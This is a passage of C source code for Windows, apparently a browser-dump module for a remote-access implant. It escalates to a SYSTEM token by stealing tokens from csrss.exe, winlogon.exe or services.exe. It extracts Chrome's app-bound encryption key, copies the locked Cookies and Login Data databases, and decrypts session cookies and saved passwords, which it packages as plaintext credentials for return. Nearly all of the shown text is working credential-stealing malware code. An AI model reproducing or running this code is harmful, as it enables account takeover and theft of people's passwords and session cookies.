    _err("GetSystemToken: Starting to acquire SYSTEM token");

    // Check if process is elevated
    IsElevated = IsProcessElevated();
    if (!IsElevated) {
        _err("GetSystemToken: Process is NOT running with elevated privileges (UAC)");
        _err("GetSystemToken: This process must be executed as administrator to access SYSTEM token");
        _err("GetSystemToken: Even though the user is an administrator, the process needs to be elevated");
        _err("GetSystemToken: Solution: Execute the process as administrator (right-click -> Run as administrator)");
    } else {
        _err("GetSystemToken: Process is running with elevated privileges");
    }

    // First, try to enable SeDebugPrivilege using AdjustTokenPrivileges
    // This is required because RtlAcquirePrivilege requires the privilege to be present in the token
    if (!EnableSeDebugPrivilege()) {
        _err("GetSystemToken: Failed to enable SeDebugPrivilege using AdjustTokenPrivileges");
        _err("GetSystemToken: SeDebugPrivilege not available in token - process must run as administrator");
        if (!IsElevated) {
            _err("GetSystemToken: Process is not elevated - this is why SeDebugPrivilege is not available");
        }
        // Try to continue anyway - maybe we can still get the token
    } else {
        _err("GetSystemToken: Successfully enabled SeDebugPrivilege using AdjustTokenPrivileges");
    }

    // Load RtlAcquirePrivilege dynamically from ntdll.dll
    NtDll = GetModuleHandleW(L"ntdll.dll");
    if (NtDll == NULL) {
        _err("GetSystemToken: Failed to get ntdll.dll handle, GetLastError=%lu", GetLastError());
        return 0;
    }
    _err("GetSystemToken: Successfully loaded ntdll.dll");

    RtlAcquirePrivilege = (PRTL_ACQUIRE_PRIVILEGE)GetProcAddress(NtDll, "RtlAcquirePrivilege");
    if (RtlAcquirePrivilege == NULL) {
        _err("GetSystemToken: Failed to get RtlAcquirePrivilege address, GetLastError=%lu", GetLastError());
        return 0;
    }
    _err("GetSystemToken: Successfully found RtlAcquirePrivilege");

    // Get the SeDebugPrivilege privilege (exactly like reference code)
    Status = RtlAcquirePrivilege(&Privilege, 1, 0, &State);
    if (!NT_SUCCESS(Status)) {
        _err("GetSystemToken: Could not acquire the SeDebugPrivilege: 0x%08lX", Status);
        _err("GetSystemToken: This error means the process does not have SeDebugPrivilege in its token");
        _err("GetSystemToken: The process MUST run as administrator for this to work");
        // Try to get the token anyway - sometimes it works even without RtlAcquirePrivilege
        _err("GetSystemToken: Attempting to get csrss.exe token anyway (may fail)...");
        Token = OpenProcessTokenByName(L"csrss.exe");
        if (Token == 0) {
            _err("GetSystemToken: Failed to get csrss.exe token without SeDebugPrivilege");
        } else {
            _err("GetSystemToken: Successfully got csrss.exe token without SeDebugPrivilege (unexpected but working)");
        }
        return Token;
    }
    _err("GetSystemToken: Successfully acquired SeDebugPrivilege via RtlAcquirePrivilege");

    // Try csrss.exe first (most common)
    Token = OpenProcessTokenByName(L"csrss.exe");
    if (Token == 0) {
        _err("GetSystemToken: Failed to open csrss.exe token, trying winlogon.exe...");
        // Try winlogon.exe as fallback (also runs as SYSTEM)
        Token = OpenProcessTokenByName(L"winlogon.exe");
        if (Token == 0) {
            _err("GetSystemToken: Failed to open winlogon.exe token, trying services.exe...");
            // Try services.exe as fallback (also runs as SYSTEM)
            Token = OpenProcessTokenByName(L"services.exe");
            if (Token == 0) {
                _err("GetSystemToken: Failed to open services.exe token");
                _err("GetSystemToken: Could not find processes by name, trying to find any SYSTEM process...");
                // Last resort: iterate all processes and find one with SYSTEM token
                Token = FindSystemProcessToken();
                if (Token == 0) {
                    _err("GetSystemToken: Could not obtain SYSTEM token from any system process");
                } else {
                    _err("GetSystemToken: Successfully obtained SYSTEM token by iterating processes");
                }
            } else {
                _err("GetSystemToken: Successfully obtained SYSTEM token from services.exe");
            }
        } else {
            _err("GetSystemToken: Successfully obtained SYSTEM token from winlogon.exe");
        }
    } else {
        _err("GetSystemToken: Successfully obtained SYSTEM token from csrss.exe");
    }
    return Token;
}

/**
 * @brief Read file contents (wide char version)
 */
static PUCHAR ReadFileContentsW(PWCHAR FileName, PULONG Size) {
    HANDLE FileHandle;
    ULONG FileSize;
    ULONG BytesRead;
    BOOL Result;
    PUCHAR Buffer = 0;
    CHAR FileNameA[MAX_PATH * 2];

    WideCharToMultiByte(CP_UTF8, 0, FileName, -1, FileNameA, sizeof(FileNameA), NULL, NULL);
    _err("ReadFileContentsW: Attempting to read file: %s", FileNameA);

    FileHandle = CreateFileW(FileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if (FileHandle == INVALID_HANDLE_VALUE) {
        _err("ReadFileContentsW: Failed to open file, GetLastError=%lu", GetLastError());
        return 0;
    }
    _err("ReadFileContentsW: Successfully opened file handle");

    do {
        FileSize = GetFileSize(FileHandle, 0);
        if (FileSize == 0) {
            _err("ReadFileContentsW: File size is 0 or GetFileSize failed, GetLastError=%lu", GetLastError());
            break;
        }
        _err("ReadFileContentsW: File size=%lu bytes", FileSize);

        Buffer = (PUCHAR)HeapAlloc(GetProcessHeap(), 0, FileSize);
        if (Buffer == 0) {
            _err("ReadFileContentsW: Failed to allocate %lu bytes", FileSize);
            break;
        }
        _err("ReadFileContentsW: Allocated buffer, reading file...");

        Result = ReadFile(FileHandle, Buffer, FileSize, &BytesRead, 0);
        if (Result == FALSE || BytesRead != FileSize) {
            _err("ReadFileContentsW: Failed to read file, Result=%d, BytesRead=%lu, FileSize=%lu, GetLastError=%lu", 
                 Result, BytesRead, FileSize, GetLastError());
            HeapFree(GetProcessHeap(), 0, Buffer);
            Buffer = 0;
        } else {
            _err("ReadFileContentsW: Successfully read %lu bytes", BytesRead);
            if (Size != 0) {
                *Size = FileSize;
            }
        }
    } while (FALSE);

    CloseHandle(FileHandle);
    return Buffer;
}

/**
 * @brief Base64 decode
 */
static PUCHAR Base64Decode(PSTR EncodedBuffer, ULONG EncodedBufferSize, PULONG DecodedBufferSize) {
    PUCHAR DecodedBuffer;
    BOOLEAN Result;

    Result = CryptStringToBinaryA(EncodedBuffer, EncodedBufferSize, CRYPT_STRING_BASE64, 0, DecodedBufferSize, 0, 0);
    if (Result == FALSE) {
        return 0;
    }

    DecodedBuffer = (PUCHAR)HeapAlloc(GetProcessHeap(), 0, *DecodedBufferSize);
    if (DecodedBuffer == 0) {
        return 0;
    }

    Result = CryptStringToBinaryA(EncodedBuffer, EncodedBufferSize, CRYPT_STRING_BASE64, DecodedBuffer, DecodedBufferSize, 0, 0);
    if (Result == FALSE) {
        HeapFree(GetProcessHeap(), 0, DecodedBuffer);
        return 0;
    }

    return DecodedBuffer;
}

/**
 * @brief Copy database file to temporary location to avoid locks
 */
static BOOLEAN CopyDatabaseToTemp(PWCHAR SourcePath, PCHAR TempPath, ULONG TempPathSize) {
    WCHAR TempDir[MAX_PATH];
    WCHAR TempFile[MAX_PATH];
    ULONG TempDirLen;
    ULONG Result;
    
    _err("CopyDatabaseToTemp: Copying database from: %ws", SourcePath);
    
    // Get temp directory
    TempDirLen = GetTempPathW(MAX_PATH, TempDir);
    if (TempDirLen == 0 || TempDirLen >= MAX_PATH) {
        _err("CopyDatabaseToTemp: Failed to get temp directory, GetLastError=%lu", GetLastError());
        return FALSE;
    }
    _err("CopyDatabaseToTemp: Temp directory: %ws", TempDir);
    
    // Generate unique temp filename
    Result = GetTempFileNameW(TempDir, L"CHR", 0, TempFile);
    if (Result == 0) {
        _err("CopyDatabaseToTemp: Failed to generate temp filename, GetLastError=%lu", GetLastError());
        return FALSE;
    }
    _err("CopyDatabaseToTemp: Temp file: %ws", TempFile);
    
    // Delete the temp file created by GetTempFileNameW (it creates an empty file)
    DeleteFileW(TempFile);
    
    // Copy the database file
    // Try multiple times if file is locked (ERROR_SHARING_VIOLATION = 32)
    ULONG MaxRetries = 3;
    ULONG RetryDelay = 100; // 100ms
    BOOLEAN CopySuccess = FALSE;
    
    for (ULONG i = 0; i < MaxRetries; i++) {
        if (CopyFileW(SourcePath, TempFile, FALSE) == TRUE) {
            CopySuccess = TRUE;
            break;
        }
        ULONG LastError = GetLastError();
        if (LastError == ERROR_SHARING_VIOLATION && i < MaxRetries - 1) {
            _err("CopyDatabaseToTemp: File is locked (ERROR_SHARING_VIOLATION), retrying in %lu ms (attempt %lu/%lu)...", 
                 RetryDelay, i + 1, MaxRetries);
            Sleep(RetryDelay);
            RetryDelay *= 2; // Exponential backoff
        } else {
            _err("CopyDatabaseToTemp: Failed to copy database file, GetLastError=%lu", LastError);
            return FALSE;
        }
    }
    
    if (!CopySuccess) {
        _err("CopyDatabaseToTemp: Failed to copy after %lu retries", MaxRetries);
        return FALSE;
    }
    _err("CopyDatabaseToTemp: Successfully copied database to temp file");
    
    // Convert to multibyte for SQLite
    WideCharToMultiByte(CP_UTF8, 0, TempFile, -1, TempPath, TempPathSize, NULL, NULL);
    _err("CopyDatabaseToTemp: Temp path (multibyte): %s", TempPath);
    
    return TRUE;
}

/**
 * @brief Decrypt Chromium secret (cookie or password)
 */
static VOID DecryptChromiumSecret(PUCHAR AppBoundKey, UCHAR Type, PUCHAR Data, ULONG DataSize, PCHAR* decryptedValue) {
    PUCHAR Ciphertext = NULL;
    PUCHAR Nonce = NULL;
    PUCHAR Tag = NULL;
    ULONG CiphertextLength = 0;
    BOOLEAN IsV1 = FALSE;

    _err("DecryptChromiumSecret: Starting decryption, Type=%s, DataSize=%lu", 
         Type == COOKIE ? "COOKIE" : "SAVED_LOGIN", DataSize);
    
    // Check version - support both v10 (v1) and v20
    if (memcmp(Data, SecretVersion, sizeof(SecretVersion)) == 0) {
        _err("DecryptChromiumSecret: Version v20 detected (app-bound key encryption)");
        IsV1 = FALSE;
    } else if (memcmp(Data, SecretVersionV1, sizeof(SecretVersionV1)) == 0) {
        _err("DecryptChromiumSecret: Version v10 (v1) detected (DPAPI direct encryption)");
        IsV1 = TRUE;
    } else {
        _err("DecryptChromiumSecret: Invalid version (expected 'v20' or 'v10', got '%.2s')", Data);
        *decryptedValue = NULL;
        return;
    }
    _err("DecryptChromiumSecret: Version check passed");

    // Handle v1 (DPAPI direct) vs v20 (AES-256-GCM with app-bound key)
    if (IsV1) {
        _err("DecryptChromiumSecret: v1 format detected - attempting multiple decryption methods");
        
        PUCHAR RawData = Data + sizeof(SecretVersionV1); // Skip "v10"
        ULONG RawDataSize = DataSize - sizeof(SecretVersionV1);
        
        _err("DecryptChromiumSecret: Raw data size=%lu bytes", RawDataSize);
        _err("DecryptChromiumSecret: Full hex dump of raw data:");
        for (ULONG i = 0; i < RawDataSize && i < 64; i += 16) {
            CHAR hexLine[256];
            INT offset = 0;
            offset += sprintf(hexLine + offset, "  [%04lu] ", i);
            for (ULONG j = 0; j < 16 && (i + j) < RawDataSize; j++) {
                offset += sprintf(hexLine + offset, "%02X ", RawData[i + j]);
            }
            _err("%s", hexLine);
        }
        
        // Check if this looks like a DPAPI blob
        BOOLEAN LooksLikeDpapiBlob = FALSE;
        if (RawDataSize >= 4) {
            if (RawData[0] == 0x01 && RawData[1] == 0x00 && RawData[2] == 0x00 && RawData[3] == 0x00) {
                LooksLikeDpapiBlob = TRUE;
                _err("DecryptChromiumSecret: Data appears to be a DPAPI blob");
            } else {
                _err("DecryptChromiumSecret: Data does NOT appear to be a DPAPI blob (first 4 bytes: %02X %02X %02X %02X)", 
                     RawData[0], RawData[1], RawData[2], RawData[3]);
            }
        }
        
        // Try DPAPI first if it looks like a DPAPI blob
        if (LooksLikeDpapiBlob) {
            DATA_BLOB EncryptedBlob;
            DATA_BLOB DecryptedBlob = {0};
            BOOLEAN Result;
            
            EncryptedBlob.pbData = RawData;
            EncryptedBlob.cbData = RawDataSize;
            
            _err("DecryptChromiumSecret: Attempting DPAPI decryption...");
            Result = CryptUnprotectData(&EncryptedBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, &DecryptedBlob);
            if (Result == FALSE) {
                _err("DecryptChromiumSecret: DPAPI failed, GetLastError=%lu", GetLastError());
            } else {
                _err("DecryptChromiumSecret: DPAPI decryption succeeded, size=%lu bytes", DecryptedBlob.cbData);
                // Extract password (use all decrypted data for passwords)
                if (Type == SAVED_LOGIN && DecryptedBlob.cbData > 0 && DecryptedBlob.cbData < 2048) {
                    *decryptedValue = (PCHAR)HeapAlloc(GetProcessHeap(), 0, DecryptedBlob.cbData + 1);
                    if (*decryptedValue) {
                        RtlCopyMemory(*decryptedValue, DecryptedBlob.pbData, DecryptedBlob.cbData);
                        (*decryptedValue)[DecryptedBlob.cbData] = '\0';
                        _err("DecryptChromiumSecret: Successfully decrypted v1 password via DPAPI (length=%lu)", DecryptedBlob.cbData);
                    }
                }
                LocalFree(DecryptedBlob.pbData);
                if (*decryptedValue) {
                    return;
                }
            }
        }
        
        // If DPAPI failed or doesn't look like DPAPI, try AES-256-GCM with app-bound key (like v20)
        // v1 might actually use the same encryption as v20 but with a different version marker
        // However, if we don't have an app-bound key, we can't decrypt v20-style secrets
        if (AppBoundKey == NULL) {
            _err("DecryptChromiumSecret: No app-bound key available - cannot decrypt v1 secrets that require app-bound key");
            *decryptedValue = NULL;
            return;
        }
        
        _err("DecryptChromiumSecret: DPAPI failed or not DPAPI format, trying AES-256-GCM with app-bound key (v20 method)...");
        
        // Check if we have enough data for AES-GCM structure (nonce + ciphertext + tag)
        if (RawDataSize < 12 + 16) {
            _err("DecryptChromiumSecret: Data too small for AES-GCM (need at least 28 bytes, have %lu)", RawDataSize);
            *decryptedValue = NULL;
            return;
        }
        
        // Try treating it like v20: nonce (12 bytes) + ciphertext + tag (16 bytes at end)
        PUCHAR Nonce = RawData;
        PUCHAR Tag = RawData + RawDataSize - 16;
        PUCHAR Ciphertext = RawData + 12;
        ULONG CiphertextLength = RawDataSize - 12 - 16;
        
        _err("DecryptChromiumSecret: Attempting AES-256-GCM - Nonce at offset 0, Tag at offset %lu, Ciphertext at offset 12, CiphertextLength=%lu",
             RawDataSize - 16, CiphertextLength);
        
        _err("DecryptChromiumSecret: Using app-bound key for AES-256-GCM decryption");
        if (Aes256GcmDecrypt(AppBoundKey, 32, Nonce, 12, Tag, 16, Ciphertext, CiphertextLength) == TRUE) {
            _err("DecryptChromiumSecret: AES-256-GCM decryption succeeded");
            if (Type == COOKIE) {
                SIZE_T cookieLen = CiphertextLength - 32;
                if (cookieLen > 0 && cookieLen < 2048 && CiphertextLength >= 32) {
                    *decryptedValue = (PCHAR)HeapAlloc(GetProcessHeap(), 0, cookieLen + 1);
                    if (*decryptedValue) {
                        RtlCopyMemory(*decryptedValue, Ciphertext + 32, cookieLen);
                        (*decryptedValue)[cookieLen] = '\0';
                        _err("DecryptChromiumSecret: Successfully decrypted v1 cookie via AES-GCM (length=%lu)", cookieLen);
                    }
                }
            } else if (Type == SAVED_LOGIN) {
                if (CiphertextLength > 0 && CiphertextLength < 2048) {
                    *decryptedValue = (PCHAR)HeapAlloc(GetProcessHeap(), 0, CiphertextLength + 1);
                    if (*decryptedValue) {
                        RtlCopyMemory(*decryptedValue, Ciphertext, CiphertextLength);
                        (*decryptedValue)[CiphertextLength] = '\0';
                        _err("DecryptChromiumSecret: Successfully decrypted v1 password via AES-GCM (length=%lu)", CiphertextLength);
                    }
                }
            }
            if (*decryptedValue) {
                return;
            }
        } else {
            ULONG LastError = GetLastError();
            _err("DecryptChromiumSecret: AES-256-GCM decryption failed, Status=0x%08lX", LastError);
            if (LastError == 0xC000A002) {
                _err("DecryptChromiumSecret: Error 0xC000A002 = authentication failure (tag mismatch)");
                _err("DecryptChromiumSecret: This confirms v1 data structure is different from v20");
            }
        }
        
        _err("DecryptChromiumSecret: All v1 decryption methods failed");
        *decryptedValue = NULL;
        return;
    }
    
    // v20: AES-256-GCM with app-bound key
    Nonce = Data + sizeof(SecretVersion);
    Tag = Data + DataSize - 16;
    Ciphertext = Data + sizeof(SecretVersion) + 12;
    CiphertextLength = DataSize - (sizeof(SecretVersion) + 12 + 16);
    
    _err("DecryptChromiumSecret: v20 format - Nonce at offset %lu, Tag at offset %lu, Ciphertext at offset %lu, CiphertextLength=%lu",
         (ULONG)(Nonce - Data), (ULONG)(Tag - Data), (ULONG)(Ciphertext - Data), CiphertextLength);
    _err("DecryptChromiumSecret: Nonce (first 4 bytes): %02X%02X%02X%02X", Nonce[0], Nonce[1], Nonce[2], Nonce[3]);
    _err("DecryptChromiumSecret: Tag (first 4 bytes): %02X%02X%02X%02X", Tag[0], Tag[1], Tag[2], Tag[3]);
    _err("DecryptChromiumSecret: Ciphertext (first 4 bytes): %02X%02X%02X%02X", Ciphertext[0], Ciphertext[1], Ciphertext[2], Ciphertext[3]);

    _err("DecryptChromiumSecret: Calling Aes256GcmDecrypt...");
    if (Aes256GcmDecrypt(AppBoundKey, 32, Nonce, 12, Tag, 16, Ciphertext, CiphertextLength) == TRUE) {
        _err("DecryptChromiumSecret: Aes256GcmDecrypt succeeded");
        if (Type == COOKIE) {
            // Cookie format: skip first 32 bytes
            SIZE_T cookieLen = CiphertextLength - 32;
            _err("DecryptChromiumSecret: Cookie format - CiphertextLength=%lu, cookieLen=%lu", CiphertextLength, cookieLen);
            if (cookieLen > 0 && cookieLen < 2048) { // Sanity check
                *decryptedValue = (PCHAR)HeapAlloc(GetProcessHeap(), 0, cookieLen + 1);
                if (*decryptedValue) {
                    RtlCopyMemory(*decryptedValue, Ciphertext + 32, cookieLen);
                    (*decryptedValue)[cookieLen] = '\0';
                    _err("DecryptChromiumSecret: Successfully decrypted cookie (length=%lu)", cookieLen);
                } else {
                    _err("DecryptChromiumSecret: Failed to allocate memory for cookie");
                }
            } else {
                _err("DecryptChromiumSecret: Invalid cookie length: %lu", cookieLen);
                *decryptedValue = NULL;
            }
        } else if (Type == SAVED_LOGIN) {
            // Password format: use all ciphertext
            _err("DecryptChromiumSecret: Password format - CiphertextLength=%lu", CiphertextLength);
            if (CiphertextLength > 0 && CiphertextLength < 2048) { // Sanity check
                *decryptedValue = (PCHAR)HeapAlloc(GetProcessHeap(), 0, CiphertextLength + 1);
                if (*decryptedValue) {
                    RtlCopyMemory(*decryptedValue, Ciphertext, CiphertextLength);
                    (*decryptedValue)[CiphertextLength] = '\0';
                    _err("DecryptChromiumSecret: Successfully decrypted password (length=%lu)", CiphertextLength);
                } else {
                    _err("DecryptChromiumSecret: Failed to allocate memory for password");
                }
            } else {
                _err("DecryptChromiumSecret: Invalid password length: %lu", CiphertextLength);
                *decryptedValue = NULL;
            }
        }
    } else {
        _err("DecryptChromiumSecret: Aes256GcmDecrypt failed");
        *decryptedValue = NULL;
    }
}

/**
 * @brief SQL callback for Chromium cookies
 * Filters to only session cookies without security flags (usable in requests)
 */
static INT ChromiumCookiesCallback(PVOID Context, INT Argc, PCHAR* Argv, PCHAR* ColumnName) {
    DumpContext* ctx = (DumpContext*)Context;
    PCHAR decryptedValue = NULL;

    // Argv[0]=host_key, Argv[1]=path, Argv[2]=name, Argv[3]=expires, Argv[4]=encrypted_value, 
    // Argv[5]=length, Argv[6]=expires_utc, Argv[7]=is_secure, Argv[8]=is_httponly
    if (Argc >= 9 && Argv[4] && Argv[5]) {
        // Filter: Only session cookies (expires_utc = 0) without security flags
        INT64 expires_utc = 0;
        INT is_secure = 0;
        INT is_httponly = 0;
        
        if (Argv[6]) {
            expires_utc = _strtoi64(Argv[6], NULL, 10);
        }
        if (Argv[7]) {
            is_secure = atoi(Argv[7]);
        }
        if (Argv[8]) {
            is_httponly = atoi(Argv[8]);
        }
        
        // Skip if not a session cookie (expires_utc != 0) or has security flags
        if (expires_utc != 0 || is_secure != 0 || is_httponly != 0) {
            return 0; // Skip this cookie
        }
        
        ULONG encryptedLen = (ULONG)strtoul(Argv[5], NULL, 10);
        _err("ChromiumCookiesCallback: [%s] Processing cookie - host=%s, name=%s, encryptedLen=%lu", 
             ctx->browserName, Argv[0] ? Argv[0] : "NULL", Argv[2] ? Argv[2] : "NULL", encryptedLen);
        DecryptChromiumSecret(ctx->appBoundKey, COOKIE, (PUCHAR)Argv[4], encryptedLen, &decryptedValue);

        if (decryptedValue) {
            _err("ChromiumCookiesCallback: [%s] Successfully decrypted cookie for %s", ctx->browserName, Argv[0] ? Argv[0] : "unknown");
            PackageAddFormatPrintf(ctx->salida, FALSE, "- URL: %s\n", Argv[0] ? Argv[0] : "");
            PackageAddFormatPrintf(ctx->salida, FALSE, "- Path: %s\n", Argv[1] ? Argv[1] : "");
            PackageAddFormatPrintf(ctx->salida, FALSE, "- Name: %s\n", Argv[2] ? Argv[2] : "");
            PackageAddFormatPrintf(ctx->salida, FALSE, "- Cookie: %s\n\n", decryptedValue);

            // Cookies are NOT added as credentials, only logins are
            // Report artifact only once (will be done in DumpChromiumBrowser after query completes)

            HeapFree(GetProcessHeap(), 0, decryptedValue);
        }
    }
    return 0;
}

/**
 * @brief SQL callback for Chromium logins
 */
static INT ChromiumLoginsCallback(PVOID Context, INT Argc, PCHAR* Argv, PCHAR* ColumnName) {
    DumpContext* ctx = (DumpContext*)Context;
    PCHAR decryptedPassword = NULL;
    CHAR artifactMsg[512] = {0};

    if (Argc >= 3 && Argv[2]) {
        ULONG encryptedLen = (ULONG)strlen(Argv[2]);
        _err("ChromiumLoginsCallback: [%s] Processing login - URL=%s, username=%s, encryptedLen=%lu", 
             ctx->browserName, Argv[0] ? Argv[0] : "NULL", Argv[1] ? Argv[1] : "NULL", encryptedLen);
        DecryptChromiumSecret(ctx->appBoundKey, SAVED_LOGIN, (PUCHAR)Argv[2], encryptedLen, &decryptedPassword);

        if (decryptedPassword) {
            _err("ChromiumLoginsCallback: [%s] Successfully decrypted password for %s", ctx->browserName, Argv[0] ? Argv[0] : "unknown");
            PackageAddFormatPrintf(ctx->salida, FALSE, "- URL: %s\n", Argv[0] ? Argv[0] : "");
            PackageAddFormatPrintf(ctx->salida, FALSE, "- Username: %s\n", Argv[1] ? Argv[1] : "");
            PackageAddFormatPrintf(ctx->salida, FALSE, "- Password: %s\n\n", decryptedPassword);

            // Extract realm from URL
            PCHAR realm = "";
            BOOLEAN realmAllocated = FALSE;
            if (Argv[0]) {
                PCHAR protocol = strstr(Argv[0], "://");
                if (protocol) {
                    PCHAR domainStart = protocol + 3;
                    PCHAR domainEnd = strchr(domainStart, '/');
                    if (domainEnd) {
                        SIZE_T domainLen = domainEnd - domainStart;
                        realm = (PCHAR)HeapAlloc(GetProcessHeap(), 0, domainLen + 1);
                        if (realm) {
                            RtlCopyMemory(realm, domainStart, domainLen);
                            realm[domainLen] = '\0';
                            realmAllocated = TRUE;
                        }
                    }
                }
            }

            // Report password as credential
            addCredential(ctx->respuesta, "plaintext", realm, decryptedPassword, Argv[1] ? Argv[1] : "");

            // Artifact will be added once after query completes in DumpChromiumBrowser

            if (realmAllocated && realm) {
                HeapFree(GetProcessHeap(), 0, realm);
            }
            HeapFree(GetProcessHeap(), 0, decryptedPassword);
        }
    }
    return 0;
}

/**
 * @brief Dump Chromium browser (Chrome only)
 */
static VOID DumpChromiumBrowser(PCHAR browserName, PCHAR browserPath, PPaquete respuesta, PPaquete salida) {
    HRESULT Result;
    WCHAR AppDataPath[MAX_PATH];
    PUCHAR LocalState;
    UCHAR AppBoundKey[32];
    sqlite3* Database;
    PCHAR ErrorMessage;
    DumpContext ctx;
    WCHAR LocalStatePath[MAX_PATH_LEN] = {0};
    WCHAR CookiesPath[MAX_PATH_LEN] = {0};
    WCHAR LoginsPath[MAX_PATH_LEN] = {0};
    WCHAR BookmarksPath[MAX_PATH_LEN] = {0};
    CHAR LocalStatePathA[MAX_PATH_LEN] = {0};
    CHAR CookiesPathA[MAX_PATH_LEN] = {0};
    CHAR LoginsPathA[MAX_PATH_LEN] = {0};
    CHAR BookmarksPathA[MAX_PATH_LEN] = {0};
    PCHAR BookmarksJson;
    PCHAR Name, Url;
    ULONG NameSize, UrlSize;

    // Use SHGetFolderPath instead of SHGetKnownFolderPath to avoid FOLDERID linking issues
    Result = SHGetFolderPathW(NULL, CSIDL_LOCAL_APPDATA, NULL, SHGFP_TYPE_CURRENT, AppDataPath);
    if (FAILED(Result)) {
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error: Could not get LocalAppData path\n");
        return;
    }

    // Build paths for Chrome
    _err("DumpChromiumBrowser: [CHROME] Building paths for Chrome");
    _snwprintf_s(LocalStatePath, MAX_PATH_LEN, _TRUNCATE, L"%s\\Google\\Chrome\\User Data\\Local State", AppDataPath);
    _snwprintf_s(CookiesPath, MAX_PATH_LEN, _TRUNCATE, L"%s\\Google\\Chrome\\User Data\\Default\\Network\\Cookies", AppDataPath);
    _snwprintf_s(LoginsPath, MAX_PATH_LEN, _TRUNCATE, L"%s\\Google\\Chrome\\User Data\\Default\\Login Data", AppDataPath);
    _snwprintf_s(BookmarksPath, MAX_PATH_LEN, _TRUNCATE, L"%s\\Google\\Chrome\\User Data\\Default\\Bookmarks", AppDataPath);
    
    WideCharToMultiByte(CP_UTF8, 0, LocalStatePath, -1, LocalStatePathA, MAX_PATH_LEN, NULL, NULL);
    WideCharToMultiByte(CP_UTF8, 0, CookiesPath, -1, CookiesPathA, MAX_PATH_LEN, NULL, NULL);
    WideCharToMultiByte(CP_UTF8, 0, LoginsPath, -1, LoginsPathA, MAX_PATH_LEN, NULL, NULL);
    WideCharToMultiByte(CP_UTF8, 0, BookmarksPath, -1, BookmarksPathA, MAX_PATH_LEN, NULL, NULL);
    _err("DumpChromiumBrowser: [CHROME] Local State path: %s", LocalStatePathA);
    _err("DumpChromiumBrowser: [CHROME] Cookies path: %s", CookiesPathA);
    _err("DumpChromiumBrowser: [CHROME] Logins path: %s", LoginsPathA);
    _err("DumpChromiumBrowser: [CHROME] Bookmarks path: %s", BookmarksPathA);

    // Read Local State and extract app-bound key
    _err("DumpChromiumBrowser: [%s] Reading Local State from: %s", browserName, LocalStatePathA);
    
    LocalState = ReadFileContentsW(LocalStatePath, NULL);
    if (LocalState == 0) {
        _err("DumpChromiumBrowser: [%s] Failed to read Local State file, GetLastError=%lu", browserName, GetLastError());
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error: Could not read Local State file\n");
        return;
    }
    _err("DumpChromiumBrowser: [%s] Successfully read Local State file, size=%lu bytes, calling ExtractAppBoundKey...", 
         browserName, strlen((PCHAR)LocalState));

    _err("DumpChromiumBrowser: [%s] Calling ExtractAppBoundKey...", browserName);
    Result = ExtractAppBoundKey((PSTR)LocalState, AppBoundKey);
    HeapFree(GetProcessHeap(), 0, LocalState);

    ctx.respuesta = respuesta;
    ctx.salida = salida;
    ctx.browserName = browserName;

    if (Result == FALSE) {
        _err("DumpChromiumBrowser: [%s] ExtractAppBoundKey returned FALSE", browserName);
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error: Could not extract app-bound key\n");
        return;
    }
    
    _err("DumpChromiumBrowser: [%s] Successfully extracted app-bound key", browserName);
    _err("DumpChromiumBrowser: [%s] App-bound key (first 16 bytes): %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
         browserName, AppBoundKey[0], AppBoundKey[1], AppBoundKey[2], AppBoundKey[3],
         AppBoundKey[4], AppBoundKey[5], AppBoundKey[6], AppBoundKey[7],
         AppBoundKey[8], AppBoundKey[9], AppBoundKey[10], AppBoundKey[11],
         AppBoundKey[12], AppBoundKey[13], AppBoundKey[14], AppBoundKey[15]);
    
    // Check if the app-bound key is all zeros (extraction failed but returned TRUE)
    BOOLEAN AllZeros = TRUE;
    for (ULONG i = 0; i < 32; i++) {
        if (AppBoundKey[i] != 0) {
            AllZeros = FALSE;
            break;
        }
    }
    if (AllZeros) {
        _err("DumpChromiumBrowser: [%s] App-bound key is all zeros - extraction likely failed", browserName);
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error: App-bound key extraction failed\n");
        return;
    }
    
    ctx.appBoundKey = AppBoundKey;

    // Dump Cookies
    PackageAddFormatPrintf(salida, FALSE, "\n============================================\n");
    PackageAddFormatPrintf(salida, FALSE, "||               Cookies                  ||\n");
    PackageAddFormatPrintf(salida, FALSE, "============================================\n\n");

    // Convert wide char paths to multibyte for sqlite3
    WideCharToMultiByte(CP_UTF8, 0, CookiesPath, -1, CookiesPathA, MAX_PATH_LEN, NULL, NULL);
    WideCharToMultiByte(CP_UTF8, 0, LoginsPath, -1, LoginsPathA, MAX_PATH_LEN, NULL, NULL);

    _err("DumpChromiumBrowser: [%s] Attempting to open cookies database: %s", browserName, CookiesPathA);
    
    // Try to open directly first
    INT OpenResult = sqlite3_open_v2(CookiesPathA, &Database, SQLITE_OPEN_READONLY, NULL);
    CHAR TempCookiesPath[MAX_PATH] = {0};
    BOOLEAN UsingTempCopy = FALSE;
    
    // If direct open fails, try copying to temp location
    if (OpenResult != SQLITE_OK) {
        _err("DumpChromiumBrowser: [%s] Direct open failed (error %d: %s), attempting to copy to temp...", 
             browserName, OpenResult, sqlite3_errmsg(Database));
        sqlite3_close_v2(Database); // Close failed connection
        
        if (CopyDatabaseToTemp(CookiesPath, TempCookiesPath, sizeof(TempCookiesPath))) {
            _err("DumpChromiumBrowser: [%s] Successfully copied cookies database to temp, opening temp copy...", browserName);
            OpenResult = sqlite3_open_v2(TempCookiesPath, &Database, SQLITE_OPEN_READONLY, NULL);
            UsingTempCopy = TRUE;
        } else {
            _err("DumpChromiumBrowser: [%s] Failed to copy cookies database to temp", browserName);
        }
    }
    
    if (OpenResult == SQLITE_OK) {
        _err("DumpChromiumBrowser: [%s] Successfully opened cookies database (using %s)", 
             browserName, UsingTempCopy ? "temp copy" : "original file");
        // Query includes expires_utc, is_secure, is_httponly to filter session cookies without security flags
        CONST CHAR CookiesSqlQuery[] = "SELECT host_key, path, name, datetime((expires_utc / 1000000) - 11644473600, 'unixepoch', 'localtime'), encrypted_value, length(encrypted_value), expires_utc, is_secure, is_httponly from cookies;";
        _err("DumpChromiumBrowser: [%s] Executing cookies query...", browserName);
